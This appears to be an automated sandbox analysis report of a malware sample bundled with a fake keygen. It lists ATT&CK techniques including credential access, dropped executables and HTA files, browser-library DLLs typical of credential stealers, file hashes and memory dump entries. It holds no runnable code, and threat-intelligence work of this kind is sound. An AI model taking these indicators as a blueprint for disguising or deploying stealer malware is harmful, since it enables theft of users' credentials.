Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\2C74.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\bma.exe

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C:\Users\Public\bma.exe

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C:\Users\Public\bma.exe

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C:\Users\Public\iqs.exe

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C:\Users\Public\iqs.exe

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C:\Users\Public\iqs.exe

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C:\Users\Public\zny.exe

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C:\Users\Public\zny.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/200-20-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

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memory/200-12-0x0000000000000000-mapping.dmp

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memory/1284-33-0x0000000000000000-mapping.dmp

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memory/1292-190-0x0000000000000000-mapping.dmp

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memory/1416-0-0x0000000000000000-mapping.dmp

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memory/1820-3-0x0000000000000000-mapping.dmp

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memory/1820-2-0x0000000000000000-mapping.dmp

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memory/2184-119-0x0000000000000000-mapping.dmp

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memory/2208-31-0x0000000000000000-mapping.dmp

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memory/2208-78-0x0000000009730000-0x0000000009731000-memory.dmp

Filesize
4KB

Download
memory/2208-42-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/2208-74-0x000000000A160000-0x000000000A161000-memory.dmp

Filesize
4KB

Download
memory/2292-25-0x0000000000000000-mapping.dmp

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memory/2468-7-0x0000000000000000-mapping.dmp

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memory/2564-23-0x00000000041A0000-0x00000000041A1000-memory.dmp

Filesize
4KB

Download
memory/2564-32-0x0000000006AF0000-0x0000000006AF1000-memory.dmp

Filesize
4KB

Download
memory/2564-39-0x00000000074C0000-0x00000000074C1000-memory.dmp

Filesize
4KB

Download
memory/2564-19-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/2564-13-0x0000000000000000-mapping.dmp

Download
memory/2564-37-0x0000000007340000-0x0000000007341000-memory.dmp

Filesize
4KB

Download
memory/2564-35-0x00000000072D0000-0x00000000072D1000-memory.dmp

Filesize
4KB

Download
memory/2564-52-0x0000000007440000-0x0000000007441000-memory.dmp

Filesize
4KB

Download
memory/2564-26-0x0000000006C30000-0x0000000006C31000-memory.dmp

Filesize
4KB

Download
memory/2564-60-0x0000000007D60000-0x0000000007D61000-memory.dmp

Filesize
4KB

Download
memory/2564-56-0x0000000007D00000-0x0000000007D01000-memory.dmp

Filesize
4KB

Download
memory/2740-9-0x0000000000000000-mapping.dmp

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memory/3220-16-0x0000000000000000-mapping.dmp

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memory/3240-21-0x0000000000000000-mapping.dmp

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memory/3240-28-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/3240-98-0x00000000097B0000-0x00000000097B1000-memory.dmp

Filesize
4KB

Download
memory/3240-99-0x0000000009040000-0x0000000009041000-memory.dmp

Filesize
4KB

Download
memory/3240-100-0x000000000A630000-0x000000000A631000-memory.dmp

Filesize
4KB

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memory/3464-10-0x0000000000000000-mapping.dmp

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memory/3868-157-0x0000000000000000-mapping.dmp

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memory/4100-120-0x0000000000000000-mapping.dmp

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memory/4156-139-0x000000000041A684-mapping.dmp

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memory/4156-137-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4156-142-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4300-132-0x000000000043FCC3-mapping.dmp

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memory/4300-135-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4300-131-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4308-140-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4308-133-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4308-136-0x0000000000417A8B-mapping.dmp

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memory/4368-183-0x000000000043FCC3-mapping.dmp

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memory/4368-187-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4384-65-0x0000000000000000-mapping.dmp

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memory/4456-66-0x0000000000000000-mapping.dmp

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memory/4456-67-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/4532-69-0x0000000000000000-mapping.dmp

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memory/4636-72-0x0000000000000000-mapping.dmp

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memory/4636-84-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/4808-189-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4808-186-0x0000000000417A8B-mapping.dmp

Download
memory/4868-170-0x0000000000000000-mapping.dmp

Download
memory/4876-173-0x0000000000000000-mapping.dmp

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memory/4956-180-0x0000000005BD0000-0x0000000005BD1000-memory.dmp

Filesize
4KB

Download
memory/4956-104-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/4956-179-0x0000000005830000-0x00000000058E0000-memory.dmp

Filesize
704KB

Download
memory/4956-107-0x0000000000F80000-0x0000000000F81000-memory.dmp

Filesize
4KB

Download
memory/4956-101-0x0000000000000000-mapping.dmp

Download
memory/5044-110-0x0000000000000000-mapping.dmp

Download
memory/5084-192-0x000000000041A684-mapping.dmp

Download